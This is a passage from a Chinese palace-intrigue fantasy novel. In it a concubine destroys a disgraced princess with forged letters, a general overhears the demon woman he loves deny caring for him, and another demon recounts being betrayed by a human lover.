“父皇,儿臣知错了。儿臣日日思过,想起母妃临终前的话,她说父皇是世上最好的父亲,让儿臣好好孝顺您。儿臣对不起母妃,也对不起父皇。儿臣不求原谅,只求能为父皇做点什么,将功补过。若父皇肯见儿臣一面,儿臣感激不尽。”
她写完,把信折好,叫来送饭的婆子。
“把这封信,送到御前。”
婆子愣住了:“这……”
昭阳郡主从手腕上撸下一只玉镯,塞进婆子手里。
“送过去。如果能送到,我记你的恩。以后我出去了,少不了你的好处。”
婆子看着那只玉镯,眼睛亮了。
“奴婢……奴婢试试。”
十日后,皇帝在御书房见到了那封信。
信是随着淑妃的一件遗物一起送来的淑妃生前用过的一把玉梳,昭阳郡主让人从别院送进宫里,说“母妃的东西,应该还给父皇”。
皇帝看着那把玉梳,沉默了很久。
淑妃死的时候,就是用这把玉梳梳着头,说“陛下,臣妾先走一步了”。
他想起淑妃临终前的样子,想起她拉着他的手,说“照顾好我们的女儿”。
他闭上眼,叹了口气。
“让她来吧。”
昭阳郡主被带进御书房的时候,穿着一身素净的衣裳,发髻简单,脸上不施脂粉,和从前那个骄纵的公主判若两人。
她跪在地上,低着头,声音哽咽。
“父皇,儿臣知错了。”
皇帝看着她,没说话。
昭阳郡主继续说:“儿臣这些日子日日思过,想起从前的种种,恨不得打死自己。儿臣对不起那些死去的人,对不起父皇的教诲,更对不起母妃……”
她说到母妃,眼泪落下来,滴在地上。
“儿臣记得母妃临终前说的话。她说父皇是世上最好的父亲,让儿臣好好孝顺您。儿臣没有做到,儿臣让父皇失望了。”
皇帝的眼眶有些发酸。
他想起淑妃,想起那个温柔的女子,想起她死前的眼神。
“起来吧。”他说。
昭阳郡主没有起来,反而磕了一个头。
“父皇,儿臣不敢求您原谅。儿臣只求能为父皇做点什么,将功补过。哪怕是去边关,去做苦力,儿臣都愿意。”
皇帝看着她,沉默了一会儿。
“你想做什么?”
昭阳郡主抬起头,泪眼婆娑地看着他。<
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p>“儿臣听说萧尚书家的嫡女才貌双全,又到了适婚年纪。父皇后宫空虚,若是能纳她入宫,既是萧家的荣宠,也能为皇室开枝散叶……儿臣愿亲自操办此事,将功补过。”
皇帝愣了一下。
萧尚书的嫡女?那个萧亦熙?
他记得那个女子,前些日子在宫宴上见过一面,确实生得好看,举止也端庄。
“你怎么想起这个?”他问。
昭阳郡主低下头,声音轻轻的:“儿臣知道父皇一个人孤寂。母妃走了这些年,父皇身边也没个贴心人。儿臣……儿臣想替母妃照顾父皇。”
这句话,戳中了皇帝心里最软的地方。
他沉默了很久。
最后他点了点头。
“那就……办吧。”
昭阳郡主磕头谢恩。
低下头的时候,她嘴角弯了一下。
萧亦熙,你等着。我是拿萧咏歌那个贱人没办法,但是你……
你要是进到父皇的皇宫,说不定还能帮我说说话,就算不能,利用你找到萧咏歌的弱点也不错。
到时候就用你的名义直接让那个人进宫……
圣旨到萧府的时候,是午后。
萧尚书正在书房看公文,听见太监尖细的声音喊“圣旨到”,连忙带着全家老小出来跪接。
萧亦熙跪在人群里,心里还在想着怎么对付萧咏歌。
然后她听见了那几句话:
“萧氏嫡女萧亦熙,端庄贤淑,才貌双全……着即入宫,封贵人……钦此。”
她的脑子里嗡的一声。
什么?
入宫?
封贵人?
她抬起头,看着那个宣旨的太监,看着那张黄绫圣旨,看着上面鲜红的御玺。
是真的。
萧尚书已经磕头谢恩了,萧夫人已经在抹眼泪了,下人们已经在议论纷纷了。
只有她跪在那里,一动不动。
“还不谢恩?”萧尚书低声说。
她机械地磕了一个头,声音像从别人嘴里发出来的:“臣女……谢主隆恩。”
太监走了,圣旨供在了祠堂里,萧府乱成一团。
萧亦熙被丫鬟扶着回了房,关上门,坐在床沿上,半天没动。
然后她站起来,把桌上的东西全扫到地上。
花瓶碎了。茶盏碎了。妆奁翻了,珠钗滚了一地。
“为什么?”她咬着牙,“为什么是我?”
那个老头子,都快六十了,让她去伺候?
她萧亦熙,尚书府嫡女,从小锦衣玉食,被人捧在手心里,凭什么要去伺候那个老头子?
她想起昭阳郡主。
是那个贱人。一定是那个贱人。
她被贬了还不消停,还要拉她下水。
“贱人……”她咬着牙,“贱人!”
可是恨有什么用?圣旨已经下了,她还能抗旨不成?
她坐回床沿上,慢慢冷静下来。
不能抗旨,那就只能想办法。
她想起萧咏歌。那个野丫头背后是天机楼,天机楼里有国师。国师是皇帝面前的红人,如果能让他说句话
她站起来,走到窗边。
外面天已经黑了,月亮挂在天边。
她看着那月亮,想起那天在天机楼外,萧咏歌说的那句话:“要么走,干干净净地走。要么留,老老实实进宫。”
她当时选了留。
现在呢?
她深吸一口气。
明天,去找萧咏歌。
127. 误会
萧咏歌是在第三天傍晚被堵在天机楼外的。
她刚从外面回来,就看见萧亦熙站在门口,穿着一身不起眼的衣裳,显然是偷偷溜出来的。
萧亦熙看见她,眼睛一亮,冲上来就拉她的袖子。
“妹妹!”
萧咏歌往后退了一步,躲开她的手。
“有事?”
萧亦熙愣了一下,然后挤出一个笑:“妹妹,姐姐求你帮帮我。”
萧咏歌看着她,没说话。
萧亦熙继续说:“你知道的,我要进宫了。那个老头子……我伺候不了。你背后有天机楼,有国师,你能不能帮我想想办法?”
萧咏歌听完,沉默了一会儿。
然后她开口:“我可以想办法送你出京城。”
萧亦熙愣住了。
“出……出京城?”
“对。”萧咏歌看着她,眼神很淡,“离开这里,隐姓埋名,再也不回来。尚书府的嫡女就当死了。”
萧亦熙的脸色变了几变。
“可是……”她咬着嘴唇,“可我是萧家嫡女,我从小锦衣玉食,我怎么能……”
萧咏歌没说话,只是看着她。
萧亦熙的声音越来越小:“我就不能……既不用进宫,又继续当我的萧家嫡女吗?”
萧咏歌忽然想笑。
她活了太久,见过太多这样的人。什么都想要,什么都不想舍,最后什么都得不到。
“没有这种好事。”她说,“要么走,干干净净地走。要么留,老老实实进宫。你自己选。”
萧亦熙的脸色白了又红,红了又白。
最后她咬着牙,说:“萧咏歌,你别以为我不知道,你跟那个慕酌的事。”
萧咏歌的眼神动了一下。
萧亦熙看见了,心里有了底。
“你不帮我,我就去告诉昭阳郡主,说你们有私情。她现在恨你们入骨,会怎么对付你们,你自己想。”
萧咏歌看着她,眼神没什么变化。
然后她轻轻笑了一下。
“你觉得,用他能威胁到我?”
她的声音很淡,淡得像一阵风。
“我很在乎他吗?”
萧亦熙愣住了。
就在这时,不远处的一棵树后,有什么东西轻轻晃了一下。
萧咏歌余光扫过去,什么都没看见。
她收回目光,看着萧亦熙:“说完了?说完可以走了。”
说完,她转身回了天机楼。
门关上了。
萧亦熙站在原地,浑身发抖,不知道是气的还是怕的。
她站了很久,最后还是走了。
她不知道的是,那棵树后,有一个人在那里站了很久很久。
第三卷·偷听
第八章·树后的人
慕酌是偷偷来的。
这些日子他每天都来,就在天机楼外远远站着,看她一眼就好。
他知道这样很傻。他知道她不喜欢他。他知道自己配不上她。
可他就是想看她一眼。
看一眼,就能撑过一整天。
今日他来得早些,站在那棵树后,等着她出来。
然后他看见她了。
她穿着一身青色的衣裳,从外面回来,夕阳照在她身上,好看得像一幅画。
他心里一软。
然后他看见了萧亦熙。
他听见了她们的对话。
他听见她说:“我可以送你出京城。”
他心里想:她还是这么好,对害过自己的人都愿意伸手。
他听见萧亦熙的威胁,用他来威胁她。
他的心提了起来。
她会怎么回答?
然后他听见了那句话。
“你觉得,用他能威胁到我?”
“我很在乎他吗?”
那一瞬间,他的心脏像是被什么攥住了。
疼。
很疼。
疼得他喘不过气来。
他往后靠,靠在树上。树皮硌着背,生疼,但他感觉不到。
他只觉得冷。
明明是春天,明明是黄昏,明明有风带着暖意。
可他浑身发冷。
他想起那天晚上,她醉醺醺地来,靠在他怀里睡着。
他想起她咬他的脖子,说要取回真身。
他想起她吻他,虽然只是那么一下。
他以为,也许,可能……
他以为错了。
他早就知道的。
他从来不奢求她喜欢他。
他只求她平安活着。
可她亲口说出来,还是不一样。
他站在那里,听着她说完最后那句话,看着她转身走进天机楼,看着门关上。
然后他慢慢站直,慢慢转身,慢慢离开。
他走得很慢。
每一步都像踩在刀尖上。
他对自己说:没关系的。她不喜欢的,你早就知道。你从来没奢求过她喜欢你。
他对自己说:她平安就好。她活着就好。别的都不重要。
他对自己说:慕酌,你配不上她,你一直都知道。
他按着胸口的纸条,按得很紧很紧。
纸条还在。
“平安勿念”四个字还在。
这就够了。
他走回将军府,走进书房,关上门。
然后他跪在地上,捂着胸口,无声地发抖。
他不知道自己跪了多久。
天黑了,又亮了,又黑了。
他没有出来。
第九章·丁灵的旁观
丁灵站在天机楼的高处,看着那棵树。
她什么都看见了。
从萧亦熙来,到萧咏歌说那句话,到那个人离开。
她看见那个人走路的姿势,像受了重伤。
她看见萧咏歌转身时,脚步顿了一下。
她也看见了。
她只是没回头。
丁灵靠在窗边,忽然有些心疼。
心疼那个男人,也心疼自己的朋友。
她认识萧咏歌很多年了。她知道萧咏歌不是无情,是把情藏得太深。深到自己都骗过去了。
她想起自己当年。
也是这么拧巴,这么自欺欺人,这么嘴硬心软。
那时候她遇见一个人。一个人类。温柔,多情,会写诗,会画画,会在月光下给她梳头发。
她以为自己找到了归宿。
然后那个人为了权势,出卖了她。
她是妖的秘密被他告诉了上司,换了一场富贵。
她被追杀,九死一生。
绝境中她活下来,找到他,亲手把他埋了。
埋他的时候,她哭不出来。<
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因为她已经不知道什么是哭了。
从那以后,她就告诉自己:不要喜欢人类。不要靠近人类。不要对人类动心。
人和妖相恋,能有什么好结果?
她跟萧咏歌说过很多次。
萧咏歌每次都说知道了,每次都说不会的。
可现在呢?
丁灵叹了口气。
她看着窗外,看着那个男人消失的方向,轻轻说:
“宛楪啊,你比他幸运。至少他值得。”
她没有下去找萧咏歌。
有些事,得自己想通。
第十章·萧亦熙的绝路
萧亦熙从天机楼回来,把自己关在房里。
她砸了屋里所有能砸的东西。
然后她坐在一片狼藉中,喘着气,眼神冷得像冰。
萧咏歌不帮她。
那个野丫头,见死不救。
还有昭阳郡主,那个贱人,把她推进火坑。
她恨萧咏歌,更恨昭阳郡主。
她坐在窗前,看着月亮,想了整整一夜。
天快亮的时候,她站起来。
眼神变了。
既然逃不掉,那就斗。
她萧亦熙不是任人宰割的羔羊。
进宫是吧?伺候老头子是吧?
好,那就进,那就伺候。
她会让那个老头子离不开她,会让后宫那些女人知道谁才是主子。
至于昭阳郡主——
她冷笑。
等着。
三日后,深夜。
萧亦熙悄悄出府,去了城西一条僻静的巷子。
巷子深处有一个小院,住着一个老太监。这老太监在宫里待了四十年,知道的事比谁都多。他年纪大了,被放出宫荣养,可宫里的人还给他几分面子。
萧亦熙敲开门,老太监看见她,愣了一下。
“萧姑娘,您怎么……”
萧亦熙没说话,只是递上一个钱袋。
老太监接过去,掂了掂,眼睛亮了。
“姑娘有什么事,尽管吩咐。”
萧亦熙压低声音,说了一席话。
老太监听着,眼睛越睁越大。
最后他点了点头。
“姑娘放心,老奴知道该怎么做。”
萧亦熙从老太监那里出来,又去了另一条巷子。
那里住着一个命妇,是某位被昭阳郡主害死的官员的遗孀。那官员死得不明不白,遗孀一直想告状,但没人敢接。
萧亦熙找到她,说了几句话。
那遗孀的眼泪立刻下来了。
“姑娘若能替我家老爷申冤,我做牛做马报答您。”
萧亦熙拍拍她的手,什么都没说。
最后一站,是城东的茶馆。
那里有一个包打听,专门收集各府的秘闻,卖给需要的人。
萧亦熙找到他,给了他一包银子。
“帮我传几句话。”
包打听笑着接过银子:“姑娘请说。”
萧亦熙低声说了几句话。
包打听的笑容更深了。
“姑娘放心,不出三天,全城都会知道。”
萧亦熙办完这些事,回到萧府的时候,天已经快亮了。
她站在窗前,看着东边泛白的天际,慢慢笑了。
昭阳郡主,你等着。
128. 对打 一个月后,萧亦熙入宫了。
一个月后,萧亦熙入宫了。
入宫的礼仪繁琐得让人想吐。沐浴、更衣、梳妆、拜别祖宗、拜别父母、听训诫、领册宝……她一件一件做完,脸上始终带着得体的笑。
没有人知道她心里在想什么。
傍晚时分,她被送进了皇帝的寝宫。寝宫很大,熏香很浓,烛火很亮。她站在门口,看着那张龙床,手心都是汗。
但她告诉自己:不能怕。
脚步声响起,皇帝进来了。她屈膝行礼,声音温柔得像水:“臣妾参见陛下。”
皇帝看着她,满意地点了点头。“起来吧。”
她站起来,低着头,等着。皇帝走到她面前,伸手抬起她的下巴。她抬起眼,看着这个即将成为她丈夫的男人。
老了。真的老了。头发花白,眼袋浮肿,脸上有老年斑。
但她脸上什么表情都没有,只是柔柔地笑。
“怕吗?”皇帝问。
她摇摇头:“有陛下在,臣妾不怕。”
皇帝笑了。
那一夜,她用了十二分的心思。不是真的伺候,是演。演得娇羞,演得生涩,演得让老头子觉得自己又年轻了。
第二天一早,圣旨下:萧贵人晋封萧嫔。
后宫哗然。一夜连升两级,这是从未有过的事。
萧亦熙坐在自己的寝宫里,慢慢喝着茶。这只是开始。
三个月的时间,后宫变了天。
萧嫔得宠,但不得意忘形。她对皇后恭敬——每日晨昏定省,从不缺席,说话柔声细语,行礼一丝不苟。她对妃嫔和善——见面就笑,从不争锋,有人阴阳怪气她就听着,有人示好她就接着。她对宫人赏赐大方——逢年过节有赏,生病有赏,做事得力也有赏。
所有人都说萧嫔是个好人。
但没有人知道,她有一双眼睛。那双眼睛每天都在看,都在记。谁和谁是一党,谁背后有谁,谁恨谁入骨。她把这些人名一个个记在心里,像记一份账本。
她在等机会。
机会来了。
昭阳郡主虽然被贬,但偶尔还能进宫。仗着皇帝心软,她时不时来后宫走动,名为“探望父皇”,实为打探消息。
萧亦熙看着她,心里冷笑。
然后她开始布局。
第一步,让昭阳郡主“偶遇”一个人。那人是个侍卫,二十出头,生得高大英俊,笑起来还有两个酒窝。萧亦熙让人安排了几次“偶遇”——昭阳郡主在御花园赏花,侍卫正好巡逻经过;昭阳郡主去给父皇请安,侍卫正好在宫门口值守;昭阳郡主在湖边散步,侍卫正好在那里“不小心”掉了东西。
一来二去,昭阳郡主的眼睛就黏在那侍卫身上了。
第二步,让昭阳郡主和那个侍卫“传信”。萧亦熙让人帮他们递信。信里写什么她不管,她只要那个过程。
第三步,让人“无意中”发现那些信。这个“无意中”的人,是皇后宫里的一个嬷嬷。那嬷嬷的儿子,当年被昭阳郡主的人打死过。
第四步,信里不只有私情。萧亦熙让人仿了昭阳郡主的笔迹,仿了三个月,仿得天衣无缝。然后在那些信里,加了一些别的内容——
“那个老东西,把我贬为庶人,我恨不得他死。”
“等我翻身的那一天,第一个就拿他开刀。”
“他以为他是谁?一个昏君而已。”
三个月后的某一天,那些信被摆到了皇帝面前。
皇帝看着那些信,脸色铁青。他把信看了一遍,又看了一遍,然后摔在地上。
“来人!把那个贱人带来!”
昭阳郡主被押来的时候,还不知道发生了什么事。她跪在地上,看着皇帝那张铁青的脸,心里有些慌。
“父皇,怎么了?”
皇帝把信摔在她脸上。“自己看!”
昭阳郡主捡起来,一看,脸色刷地白了。“这、这不是儿臣写的!父皇,这是诬陷!”
“诬陷?”皇帝冷笑,“笔迹是你的,怎么会是诬陷?”
昭阳郡主拼命摇头:“不是!儿臣没有写过这些话!儿臣怎么可能写这种大逆不道的话!”
“那你和那个侍卫的私情呢?也是诬陷?”
昭阳郡主愣住了。侍卫?那些信里,确实有她和那个侍卫传的情信。那是真的,她没法否认。
“儿臣……儿臣只是一时糊涂……”
“一时糊涂?”皇帝站起来,走到她面前,居高临下地看着她,“你逼死人命,朕饶了你;你私开铁矿,朕饶了你;你不知悔改,朕也饶了你。你倒好,变本加厉!”
昭阳郡主扑上去抱住他的腿:“父皇,儿臣知错了!儿臣真的知错了!那些信不是儿臣写的,一定是有人害我!”
“谁害你?”
昭阳郡主脑子里飞快地转着。萧亦熙!一定是萧亦熙!
“是萧嫔!”她喊出来,“是她害我!她想除掉我!”
皇帝愣了一下。萧嫔?那个温柔恭顺的萧嫔?
“胡说。”他冷冷说,“萧嫔与你无冤无仇,为何害你?”
昭阳郡主急了:“因为儿臣让她进宫!她恨儿臣!”
皇帝看着她,眼神更冷了。“你让她进宫?那不是你提议的吗?说是要替淑妃照顾朕?”
昭阳郡主张了张嘴,说不出话来。
皇帝抽回腿,走回龙椅边,坐下。“传旨。”
太监跪地。
“庶人某氏,与侍卫私通,大逆不道,着即打入冷宫,永不释放。”
昭阳郡主愣住了。然后她疯了似的挣扎起来:“父皇!父皇你不能这样!我没有写过那些信!是萧亦熙害我!是她——”
侍卫捂住她的嘴,把她拖了下去。
她的声音越来越远,最后消失在宫门外。
萧亦熙站在人群里,低着头,恭顺极了。没有人看见她嘴角那一丝笑。
昭阳郡主打入冷宫十日后,漠北来使了。
漠北是北方的大国,幅员辽阔,民风彪悍。他们的王子到了适婚年纪,派使者带着国书和厚礼来求娶一位公主。
皇帝只有一个女儿还活着——二公主,今年才十二岁。
满朝文武犯难了。给吧,二公主太小;不给吧,得罪漠北,边境不宁。
这时候,萧嫔在皇帝耳边轻轻说了一句话。
“臣妾听说,昭阳郡主在冷宫里,整日咒骂父皇……”
皇帝的脸色沉下来。
萧嫔继续说:“与其让她在冷宫里生事,不如……让她去和亲?也算是给漠北一个交代。”
皇帝沉吟。
萧嫔又说:“臣妾还听说,她得罪过漠北来的那位使者。那位使者对她恨之入骨。若是让她去和亲,那使者必定会好好‘照顾’她……”
皇帝看了她一眼。
萧嫔低下头,柔顺极了。
皇帝想了很久。最后他点了头。
三日后,圣旨下:废庶人某氏,着即和亲漠北,即日启程。
冷宫的门打开了。昭阳郡主被拖出来的时候,已经不像个人样。十几天冷宫生活,让她瘦得脱了相,头发乱成一团,眼神空洞。
当她听见“和亲漠北”四个字的时候,她忽然疯了一样挣扎起来。
“不!我不去漠北!那是蛮荒之地!我不去!”
没有人理她。
她被塞进马车,马车启动,往北门驶去。她趴在车窗上,看着越来越远的城门,眼泪流了一脸。
她这辈子,再也回不来了。
和亲的队伍走了半个月,才走出中原的地界。
昭阳郡主坐在马车里,身上穿着粗布衣裳,头发用一根木簪挽着,和从前那个锦衣玉食的公主判若两人。押送的士兵嫌她吵,用破布塞了她的嘴。她只能呜呜地叫,眼泪糊了一
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脸。
队伍越走越远,京城越来越小,最后消失在天边。
她靠在车壁上,闭上眼。她想起从前。想起她在公主府里作威作福的日子,想起那些被她踩在脚下的人,想起慕酌跪在游园宴上被她羞辱的样子。
她想起那天在金銮殿上,慕酌说:“张文远,与你有什么仇?林婉娘,与你有什么仇?还有那十三个被放干了血、刻满了符文的流民乞丐,与你有什么仇?”
她当时不懂。
现在她还是不懂。那些贱民,死就死了,有什么大不了的?
她睁开眼,看着车窗外一望无际的荒野。她不知道等待她的是什么。但她知道,她恨。
恨慕酌,恨萧咏歌,恨萧亦熙,恨那个狠心的父皇。
如果有来生,她一定要让他们不得好死。
马车继续往前走,往那个永远回不来的方向。
昭阳郡主离京一个月后,萧亦熙被封为萧妃。位同副后,掌管六宫事务。
她坐在自己的寝宫里,看着镜中的自己。镜子里那个人,穿着华服,戴着金钗,美得像一幅画。
可她看着自己,忽然想哭。
她赢了。赢得很彻底。昭阳郡主去了漠北,生不如死。那些曾经看不起她的人,现在见了她都要行礼。那个老头子现在离不开她,三天两头往她这里跑。
她什么都有了。
可她一点都不高兴。
她想起萧咏歌那天说的话:“要么走,干干净净地走。要么留,老老实实进宫。”
她选了留。
现在她留下了,成了萧妃。
然后呢?
她不知道。
她只知道,她再也走不了了。这高高的宫墙,这深深的庭院,这一辈子的荣华富贵——就是她的牢笼。
她看着镜中的自己,忽然觉得那个人很陌生。那个人是谁?她还是萧亦熙吗?
她不知道。
她只知道,她必须继续走下去。走下去,活着,享受这一切。因为这是她选的。
同一天夜里,京城有两处地方,有两个人在看月亮。
一处是天机楼。
宛楪站在窗前,看着天上的月亮。今晚的月亮很圆,很亮,和那天晚上一样。
那天晚上,她喝醉了,走错了门,去了不该去的地方。那天晚上,她靠在一个人的怀里,睡了一整夜。那天晚上,她咬了一个人的脖子,尝到了他的血。
她想起那天在天机楼外,萧亦熙用他来威胁她。她说了那句话。然后她感觉到了树后的动静。
她知道他在那里。她知道他听见了。
她没有回头。
她告诉自己:这样也好,让他死心,免得耽误他。
他是人类,她是妖。人和妖,能有什么好结果?丁灵的故事摆在那里,血淋淋的。
她不能走那条路。
可不知道为什么,今夜她总想起他。想起他在月下喝酒的样子,想起他敞开的衣襟,想起那些伤疤。想起他的吻,轻轻的,小心的,像在吻一个梦。
她忽然有些烦躁。她不知道自己是怎么了。
另一处是将军府。
慕酌也在看月亮。他坐在院子里,一壶接一壶地喝酒。还是那个位置,还是那个酒壶,还是那个人。
只是那个人不在。
他想起那天晚上的事——她醉醺醺地来,靠在他怀里睡着。那是他这辈子最幸福的一夜。
他知道她不喜欢他。他知道自己配不上她。
可他还是会想她。想她在做什么,想她过得好不好,想她有没有想起他。
他把酒壶放下,按着胸口的纸条。
“平安勿念。”他轻声说,对着那张纸条,对着那张纸条后面的人,“你平安就好。”
月亮在天上,照着两个人。
他们不知道,他们在看着同一个月亮。
129. 心动
丁灵喝醉的那天晚上,窗外下着雨。
不是什么大雨,是那种细细的、绵绵的、能下好几天的春雨。雨丝落在窗棂上,发出轻微的沙沙声,像有人在轻轻说着什么,说着那些说不出口的事。
宛楪坐在她对面,看着她一碗接一碗地喝酒。
“别喝了。”她说。
丁灵抬起眼,看了她一下,那眼神空空的,像透过她在看别的什么。然后她笑了一声,笑得人心底发凉。
“怎么,怕我喝死?”她把酒碗往桌上一放,发出“砰”的一声,酒液溅出来,洒在桌上,“我死不了。我活了八百年了,想死都死不了。”
宛楪没有说话。
丁灵又倒了一碗,端起来,看着碗里晃动的酒液。烛光映在里面,一晃一晃的,像那些早该忘记却怎么也忘不掉的往事。
“你知道我为什么最讨厌人类吗?”
宛楪知道。她听过那个故事——那个背叛、出卖、绝境逢生的故事。但她没有说,只是等着。她知道丁灵要说,不是因为想告诉她,是因为那些话在心里压了太久,再不说就要把自己压碎了。
丁灵沉默了一会儿,窗外的雨沙沙地响着。
然后她开始讲。
“三百年前,我还是个刚化形没多久的小妖。什么都不懂,什么都不怕,觉得这人间真好玩。”
她的声音很轻,像是从很远很远的地方飘来的,飘过三百年的光阴,飘过那些再也回不去的日子。
“然后我遇见了他。”
她顿了顿,把碗里的酒喝了一半。
“他是个书生,进京赶考,半路上遇见了山匪。我救了他,把他带回我的山洞里养伤。他伤好了,说要报答我。我说不用,他说不行,一定要报答。”
丁灵笑了一下,笑容很淡,淡得像要化在雨里。
“他问我要什么。我说,你给我讲个故事吧。我那时候刚化形,什么都不懂,想知道人间是什么样的。”
“他就开始讲。讲他读过的书,讲他见过的风景,讲他小时候养过的一条狗。我听得入迷,听着听着,天就亮了。”
她说到这里,嘴角微微弯起来,像是真的想起了什么好的事。可那笑只停留了一瞬,就消失不见了。
“后来他说,他要进京赶考了,问我愿不愿意跟他一起去。我说好。”
她就这么跟着那个书生进了京城。
书生租了一间小院,她住在里面,帮他洗衣做饭,替他磨墨铺纸。他读书到深夜,她就在旁边陪着,有时变成原形,缠在他的笔杆上,看他写字。那些字一个一个落下来,落在纸上,也落在她心里。
“他那时候对我很好。”丁灵说,声音更轻了,“真的很好。他会给我买糖吃,会在我睡着的时候给我盖被子,会在月下给我梳头发。”
她的手指动了动,像是还能感觉到那些落在发间的手指,温柔的,小心的,像对待什么珍贵的东西。
“他说等他高中了,就娶我。我说我是妖。他说他不怕。”
丁灵顿了顿,端起酒碗,喝了一大口。酒液顺着嘴角流下来,她也不擦,就那么任它流着。
“后来他真的高中了。探花,第三名。他高兴得像个孩子,抱着我在院子里转圈。我也高兴,以为好日子要来了。”
“然后呢?”宛楪问。
丁灵放下酒碗,看着窗外的雨。雨还在下,沙沙沙沙,像在替谁哭。
“然后他的上司知道了我的事。那个人说,如果你把这个妖的来历交代清楚,我就保你进翰林院。如果你不说,你这辈子就别想往上爬了。”
她转过头,看着宛楪。烛光映在她眼里,一晃一晃的。
“你猜他选了什么?”
宛楪没有猜。
丁灵笑了一下,那笑容里什么都没有。空的,像一口枯井。
“他选了进翰林院。”
“那天夜里,他给我灌了迷药。我醒过来的时候,已经被捆仙索绑住了,周围全是捉妖师。他站在人群外面,不敢看我。”
她的声音开始发抖,可她还是继续说下去。
“我喊他的名字,喊了一夜。他始终没有回头。”
窗外的雨忽然大了一些,噼里啪啦地打在窗棂上。
“后来呢?”宛楪问。
“后来?”丁灵又笑了一下,这回笑得眼眶都红了,“后来我逃出来了。九死一生,差点魂飞魄散。我花了三十年养伤,又花了三十年找他。”
“找到他的时候,他已经老了,头发白了,背也驼了。他认不出我,但我一眼就认出了他。”
“你知道我做了什么吗?”
宛楪看着她,看着她眼里那些翻涌的东西。
丁灵端起酒碗,喝了一口,声音平静得像在说明天的天气。
“我亲手把他埋了。”
“埋在一个山坡上,面朝着京城的方向。我想让他看着那个他拿命换来的前程,看到死。”
她放下酒碗,看着窗外的雨。
“埋他的时候,我哭不出来。我站在那里,站了很久,一滴眼泪都没有。后来我才知道,那是心死了。”
“从那以后,我就告诉自己:不要喜欢人类。不要靠近人类。不要对人类动心。”
她转过头,看着宛楪。眼里有泪光,在烛光里一闪一闪的,可始终没有落下来。
“你知道埋一个人的时候是什么感觉吗?”
宛楪没有说话。
丁灵笑了笑,那笑容里带着三百年的伤。
“所以我跟你说,不要喜欢人类。不是因为他们坏,是因为……你掏心掏肺对他,他回头就能把你卖了。他们心里,有太多比情更重的东西。”
宛楪沉默了很久。
然后她开口:“他不一样。”
丁灵看着她。
“谁不一样?你那个慕酌?”
宛楪没有回答。
丁灵看着她,看了很久。雨声沙沙地响着,烛火轻轻地晃着。
然后丁灵轻轻叹了口气。
“宛楪啊。”她叫的是宛楪的本名,声音里带着一种说不清的东西——像是羡慕,又像是担心,“你比我幸运。至少他值得。”
宛楪低下头,看着自己手里的茶盏。茶已经凉了,可她还是端着,像是端着什么重要的东西。
值得吗?
她不知道。
但她知道,那天在天机楼外,她说了那句话之后,她的心也疼了一下。
只是一下。很轻,很快就过去了。
但她记得。
雨还在下,沙沙的,轻轻的,像有人在说着什么,说着那些说不出口的事。
丁灵又倒了一碗酒,端起来,对着窗外的雨举了举。
“敬那些回不去的日子。”她说。
然后一饮而尽。
酒液滚落喉咙的时候,她闭上眼睛。有什么东西从眼角滑下来,分不清是泪还是雨。
入冬了。
第一场雪落下来的时候,荣王再次来到将军府。
这回他没有在书房见慕酌,而是把人叫到了花园里的暖亭。亭子里烧着炭盆,煮着热茶,他坐在那里,披着一件狐裘,像任何一个慈祥的长辈。
“坐。”他指了指对面的位置。
慕酌坐下。
荣王给他倒了一杯茶,推过去。茶汤澄黄,热气袅袅地升起来,在两个人之间隔了一层薄薄的白雾。
“尝尝,今年的新茶。”
慕酌端起来,抿了一口。
“好茶。”他说。
荣王笑了笑,也端起自己的茶,慢慢品着。他的眼睛却没有看茶,而是隔着茶雾看着慕酌,像是要从那张脸上看出什么来。
沉默了一会儿,荣王开口了。
“皇帝的身体,越来越不行了。”
慕酌的茶杯顿了一下。很轻,只是一瞬间的事。
荣王继续说:“太医说,最多一年。也可能更短。”
他看着慕酌,眼神温和,像任何一个关心晚辈的长辈。
“我们的时机,快到了。”
慕酌放下茶杯,点了点头。
“荣王叔说得是。”
荣王看着他,看了一会儿。雪落在暖亭的顶上,发出轻微的簌簌声。
“酌儿,我怎么觉得你最近心不在焉?”
慕酌抬起眼,笑了笑。那笑容恰到好处,不多不少,刚好让荣王挑不出毛病。
“没有。只是在想怎么杀那个狗皇帝。”
荣王看了他一会儿,也笑了。
“好,有这份心就好。”
他又给慕酌倒了一杯茶。
“不过你要记住,杀他不是目的。夺回皇位才是。杀了他之后,你怎么坐稳那个位置,才是
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最重要的。”
慕酌点头。
“荣王叔教导得是。”
荣王看着他,眼神里有什么东西一闪而过。太快了,快得让人来不及看清是什么。
然后他站起来,拍了拍慕酌的肩。
“我走了。你自己小心。最近朝堂上不太平,别让人抓住把柄。”
“是。”
荣王走了。
慕酌坐在暖亭里,看着他的背影消失在雪里。那个背影走得不快不慢,一步一步,踏在雪上,留下一串深深的脚印。
然后他低下头,看着面前那杯茶。
茶已经凉了。
他端起来,一饮而尽。
凉的,苦的,但能让人清醒。
他按了按胸口的纸条,站起来,走进雪里。
雪还在下,落在他肩上,落在他发上,落在他脸上。冰凉的,一片一片,落在皮肤上就化了,化成一点点凉意,渗进骨子里。
他没有躲。
就让雪落着吧。
至少雪是干净的。
年关将至的时候,丁灵把宛楪叫到自己的房间。
“你那个慕酌,最近可能有麻烦。”
宛楪看着她。
丁灵靠在窗边,手里拿着一封信。窗外飘着雪,她的脸在雪光里显得有些白。
“荣王的人最近在查天机楼。”
宛楪的眼神动了一下。很轻,像雪落在水面上,起了一圈小小的涟漪。
“查什么?”
“查我们和谁有来往,查我们替谁办过事,查——”丁灵顿了顿,看着她,眼神里有些什么,“查你和慕酌有没有关系。”
宛楪沉默了一会儿。
“他怎么知道的?”
“不知道。”丁灵把信递给她,“但他在查。而且查得很细。”
宛楪接过信,看了一遍。信里写得很简单:荣王的人最近频繁出入京城的各个情报点,打听天机楼的事,尤其是打听天机楼客卿的事。字迹潦草,像是匆忙写就的,可每一个字都像一根刺。
“他怀疑你了。”丁灵说。
宛楪把信放下。
“随他。”
丁灵看着她,忽然笑了。那笑容里带着几分无奈,几分了然。
“你嘴上说随他,心里是不是已经在想怎么护着那个男人了?”
宛楪没说话。
窗外的雪还在下,一片一片,落在窗棂上,积了薄薄的一层。
丁灵叹了口气。
“去吧。想去就去。”
宛楪看了她一眼。
丁灵摆摆手:“别装了。你那点心思,瞒得过谁?”
宛楪沉默了一会儿,然后站起来,往外走。
走到门口的时候,她停了一下。
“丁灵。”
“嗯?”
“谢谢你。”
丁灵愣了一下。她们认识这么久,宛楪从来没有说过这两个字。
然后她笑起来,笑得眼眶都红了。
“谢什么,咱俩谁跟谁。”
